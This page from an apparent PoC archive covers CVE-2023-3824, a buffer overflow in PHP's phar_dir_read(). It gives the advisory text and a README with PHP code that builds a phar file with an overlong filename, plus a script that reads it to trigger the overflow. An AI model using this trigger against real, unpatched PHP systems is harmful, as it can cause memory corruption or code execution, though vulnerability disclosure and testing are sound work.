Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1310 CNY

100%

CVE-2023-3824 PoC — Buffer overflow and overread in phar_dir_read()

Source
Associated Vulnerability
Title:Buffer overflow and overread in phar_dir_read() (CVE-2023-3824)
Description:In PHP version 8.0.* before 8.0.30,  8.1.* before 8.1.22, and 8.2.* before 8.2.8, when loading phar file, while reading PHAR directory entries, insufficient length checking may lead to a stack buffer overflow, leading potentially to memory corruption or RCE.
Description
Vulnerability in PHP Phar files, due to buffer overflow, arises from insufficient length checks on file names within the Phar archive. Malicious actors can craft Phar files with long file names, leading to buffer overflow and potential execution of malicious code or data leakage. This vulnerability can be exploited for code execution CVE-2023-3824
Readme
# PHP Malicious Phar File PoC (CVE-2023-3824)

## Description

This Proof of Concept (PoC) demonstrates how to create a malicious Phar file in PHP and trigger a buffer overflow vulnerability.

## Usage

### Creating the Malicious Phar File

1. Create a new PHP file (e.g., `create_phar.php`) and add the following code:

```php
<?php
$phar = new Phar('malicious.phar');
$phar->startBuffering();
$phar->addFromString(str_repeat('A', PHP_MAXPATHLEN - 1).'B', 'This is the content of the file.');
$phar->stopBuffering();
?>
```
Execute the PHP script to create the malicious Phar file:
Copy code
```php
php create_phar.php
```
Triggering the Buffer Overflow
Create another PHP file (e.g., trigger_overflow.php) and add the following code:
```php
<?php
$handle = opendir("phar://./malicious.phar");
$x = readdir($handle);
closedir($handle);

var_dump($x);
?>
```
Execute the PHP script to trigger the buffer overflow:
Copy code
php trigger_overflow.php
The var_dump($x) statement will output the result of the buffer overflow and overread operation.
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →